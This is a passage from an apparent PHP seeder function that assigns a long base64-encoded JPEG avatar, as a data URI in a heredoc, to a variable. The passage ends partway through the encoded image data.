"public function run()\n {\n\t $avatar = <<<'EOD'\ndata:image/jpeg;base64,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